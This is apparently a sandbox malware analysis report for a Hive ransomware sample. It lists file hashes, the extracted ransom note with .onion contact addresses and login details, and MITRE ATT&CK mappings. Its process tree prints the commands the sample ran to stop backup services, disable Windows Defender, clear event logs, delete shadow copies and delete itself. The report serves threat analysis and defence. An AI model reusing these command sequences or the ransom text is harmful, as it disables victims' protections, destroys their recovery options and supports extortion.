Overview

overview

10

Static

static

3

2025-03-07...ch.exe

windows7-x64

10

2025-03-07...ch.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/03/2025, 02:00

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-03-07_760ccfdb30fe7eaab9cd4c7450d73c24_frostygoop_hive_sliver_snatch.exe

  • Size

    2.5MB

  • MD5

    760ccfdb30fe7eaab9cd4c7450d73c24

  • SHA1

    5eb8513686554a871a8dea173f0c175eeec74f38

  • SHA256

    2f0944e818cdf3f006a5b25ea2c39a2a7c914682a2653c60f22e971f3d84c709

  • SHA512

    25050f6fa163acec8de703210439d004ce1a752dea70ca6c7daea8c5d19c46647f573e1934609e5aeeee787dd6ef180701304f9f695fa30193f2d9704aaaa5c5

  • SSDEEP

    24576:pT6Gyv2Cc+qVzsnjRaPTbGQtIYph4qDqz15QAml7+GgEEtKBM7i4ArwRV6LUEFga:pCXo8m04Td2xDoCLyv1D1

Score
10/10
hivedefense_evasiondiscoveryevasionexecutionimpactransomwarespywarestealertrojan

Malware Config

Extracted

Path

C:\Program Files\Common Files\DESIGNER\UZEP_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: zo6NZMEhyHgb Password: Ao1KMM8jU6P2DgkuhXqN To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.gtqbv files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Hive

    A ransomware written in Golang first seen in June 2021.

    ransomwarehive
  • Hive family
    hive
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    defense_evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-07_760ccfdb30fe7eaab9cd4c7450d73c24_frostygoop_hive_sliver_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-07_760ccfdb30fe7eaab9cd4c7450d73c24_frostygoop_hive_sliver_snatch.exe"
    1⤵
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3736
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3816
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2848
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SDRSVC" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5680
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SDRSVC" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4948
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SstpSvc" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5476
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SstpSvc" /y
        3⤵
          PID:5200
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "vmicvss" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2868
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "vmicvss" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4508
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "VSS" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2512
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "VSS" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2140
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "wbengine" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4772
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "wbengine" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3008
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "WebClient" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4048
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "WebClient" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2384
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "UnistoreSvc_290aa" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4668
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "UnistoreSvc_290aa" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3664
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "SamSs" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4300
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "SDRSVC" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4432
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "SstpSvc" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3108
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "vmicvss" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:888
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "VSS" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:860
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "wbengine" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:5684
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "WebClient" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4164
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "UnistoreSvc_290aa" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:5076
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
        2⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:1660
      • C:\Windows\SysWOW64\reg.exe
        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1888
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        • System Location Discovery: System Language Discovery
        PID:3180
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:3756
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:5440
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:5936
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:4956
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        PID:1912
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:4456
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:4080
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        2⤵
          PID:3568
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:4112
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:5108
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:5212
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
          2⤵
            PID:692
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:6064
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1820
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2580
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4124
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
            2⤵
            • System Location Discovery: System Language Discovery
            PID:464
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4876
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2460
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4992
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:5016
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4468
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:3320
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
            2⤵
              PID:2192
            • C:\Windows\SysWOW64\reg.exe
              reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
              2⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:3384
            • C:\Windows\SysWOW64\reg.exe
              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
              2⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:5872
            • C:\Windows\SysWOW64\reg.exe
              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
              2⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:4084
            • C:\Windows\SysWOW64\reg.exe
              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
              2⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:1388
            • C:\Windows\SysWOW64\reg.exe
              reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
              2⤵
              • Modifies security service
              • System Location Discovery: System Language Discovery
              PID:5472
            • C:\Windows\SysWOW64\reg.exe
              reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
              2⤵
              • Modifies Security services
              • System Location Discovery: System Language Discovery
              PID:5648
            • C:\Windows\SysWOW64\wevtutil.exe
              wevtutil.exe cl system
              2⤵
              • Clears Windows event logs
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:3972
            • C:\Windows\SysWOW64\wevtutil.exe
              wevtutil.exe cl security
              2⤵
              • Clears Windows event logs
              • Suspicious use of AdjustPrivilegeToken
              PID:4944
            • C:\Windows\SysWOW64\wevtutil.exe
              wevtutil.exe cl application
              2⤵
              • Clears Windows event logs
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:2668
            • C:\Windows\SysWOW64\Wbem\wmic.exe
              wmic.exe SHADOWCOPY /nointeractive
              2⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:3656
            • C:\Windows\SysWOW64\Wbem\wmic.exe
              wmic.exe shadowcopy delete
              2⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:3480
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
              2⤵
              • System Location Discovery: System Language Discovery
              PID:5028
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
              2⤵
              • System Location Discovery: System Language Discovery
              PID:1200
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell Set-MpPreference -DisableIOAVProtection $true
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:4548
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
              2⤵
              • System Location Discovery: System Language Discovery
              PID:4152
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell Set-MpPreference -DisableRealtimeMonitoring $true
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:1216
            • C:\Windows\SysWOW64\notepad.exe
              notepad.exe C:\UZEP_HOW_TO_DECRYPT.txt
              2⤵
              • System Location Discovery: System Language Discovery
              • Opens file in notepad (likely ransom note)
              PID:3152
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\2025-03-07_760ccfdb30fe7eaab9cd4c7450d73c24_frostygoop_hive_sliver_snatch.exe"
              2⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              PID:452
              • C:\Windows\SysWOW64\PING.EXE
                ping.exe -n 5 127.0.0.1
                3⤵
                • System Location Discovery: System Language Discovery
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:4932

          Network

          MITRE ATT&CK Enterprise v15

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          PowerShell

          1
          T1059.001

          System Services

          1
          T1569

          Service Execution

          1
          T1569.002

          Windows Management Instrumentation

          1
          T1047

          Persistence

          Create or Modify System Process

          4
          T1543

          Windows Service

          4
          T1543.003

          Privilege Escalation

          Create or Modify System Process

          4
          T1543

          Windows Service

          4
          T1543.003

          Defense Evasion

          Impair Defenses

          3
          T1562

          Disable or Modify Tools

          2
          T1562.001

          Indicator Removal

          2
          T1070

          Clear Windows Event Logs

          1
          T1070.001

          File Deletion

          1
          T1070.004

          Modify Registry

          4
          T1112

          Credential Access

          Credentials from Password Stores

          1
          T1555

          Credentials from Web Browsers

          1
          T1555.003

          Unsecured Credentials

          1
          T1552

          Credentials In Files

          1
          T1552.001

          Discovery

          Remote System Discovery

          1
          T1018

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          System Network Configuration Discovery

          1
          T1016

          Internet Connection Discovery

          1
          T1016.001

          Lateral Movement

          Collection

          Data from Local System

          1
          T1005

          Command and Control

          Exfiltration

          Impact

          Inhibit System Recovery

          1
          T1490

          Service Stop

          1
          T1489

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Program Files\Common Files\DESIGNER\UZEP_HOW_TO_DECRYPT.txt
            Filesize

            1KB

            MD5

            c4bfe3cc5113f57dc2e5b89c7374e048

            SHA1

            3a43c21e9401fb7d6d9cd3941aa853eb407b0b6b

            SHA256

            4dedc0a2be54c954d754e5e597b72bb54fdd706a0039b01b0ff9107fe4c10acb

            SHA512

            e8dbc2b6f7142cf9ba075861026edf795ea5f6bd852e286fce821ada6f2caf4dc7ba7ecafe44a1b0dc937ab7dc67d8ea787d6518c9ee67db8b88b1557ff847c3

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
            Filesize

            2KB

            MD5

            968cb9309758126772781b83adb8a28f

            SHA1

            8da30e71accf186b2ba11da1797cf67f8f78b47c

            SHA256

            92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

            SHA512

            4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            18KB

            MD5

            087345adcfbd6a28e0c842ceca116afa

            SHA1

            ab08840eb4262f2594dfd02c8ed330acbdac85cd

            SHA256

            17799fe4e582362b5b8d64ecd05fa7c646e428257003e1920e33d1d0180ccb14

            SHA512

            a8027adea0674f53cb95161068c88200e0c30f9a870edb704ece207daa42cf0bad023255c194926e1f66c0e5f61d35e93d03105d1706fe4ff7bcdf834ce4e151

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ldn02av.k0g.ps1
            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            Download Submit

          • memory/1216-55-0x00000000747D0000-0x000000007481C000-memory.dmp

            Filesize

            304KB

            Download

          • memory/1216-49-0x00000000056B0000-0x0000000005A04000-memory.dmp

            Filesize

            3.3MB

            Download

          • memory/4548-31-0x0000000007470000-0x0000000007513000-memory.dmp

            Filesize

            652KB

            Download

          • memory/4548-36-0x0000000007720000-0x0000000007731000-memory.dmp

            Filesize

            68KB

            Download

          • memory/4548-18-0x0000000006240000-0x000000000628C000-memory.dmp

            Filesize

            304KB

            Download

          • memory/4548-19-0x00000000067B0000-0x00000000067E2000-memory.dmp

            Filesize

            200KB

            Download

          • memory/4548-20-0x00000000747D0000-0x000000007481C000-memory.dmp

            Filesize

            304KB

            Download

          • memory/4548-30-0x00000000067F0000-0x000000000680E000-memory.dmp

            Filesize

            120KB

            Download

          • memory/4548-2-0x0000000004C20000-0x0000000004C56000-memory.dmp

            Filesize

            216KB

            Download

          • memory/4548-32-0x0000000007BA0000-0x000000000821A000-memory.dmp

            Filesize

            6.5MB

            Download

          • memory/4548-33-0x0000000007520000-0x000000000753A000-memory.dmp

            Filesize

            104KB

            Download

          • memory/4548-34-0x0000000007590000-0x000000000759A000-memory.dmp

            Filesize

            40KB

            Download

          • memory/4548-35-0x00000000077A0000-0x0000000007836000-memory.dmp

            Filesize

            600KB

            Download

          • memory/4548-17-0x00000000061F0000-0x000000000620E000-memory.dmp

            Filesize

            120KB

            Download

          • memory/4548-37-0x0000000007750000-0x000000000775E000-memory.dmp

            Filesize

            56KB

            Download

          • memory/4548-38-0x0000000007760000-0x0000000007774000-memory.dmp

            Filesize

            80KB

            Download

          • memory/4548-39-0x0000000007860000-0x000000000787A000-memory.dmp

            Filesize

            104KB

            Download

          • memory/4548-40-0x0000000007840000-0x0000000007848000-memory.dmp

            Filesize

            32KB

            Download

          • memory/4548-16-0x0000000005E20000-0x0000000006174000-memory.dmp

            Filesize

            3.3MB

            Download

          • memory/4548-6-0x0000000005AD0000-0x0000000005B36000-memory.dmp

            Filesize

            408KB

            Download

          • memory/4548-5-0x00000000059F0000-0x0000000005A56000-memory.dmp

            Filesize

            408KB

            Download

          • memory/4548-4-0x0000000005220000-0x0000000005242000-memory.dmp

            Filesize

            136KB

            Download

          • memory/4548-3-0x00000000052C0000-0x00000000058E8000-memory.dmp

            Filesize

            6.2MB

            Download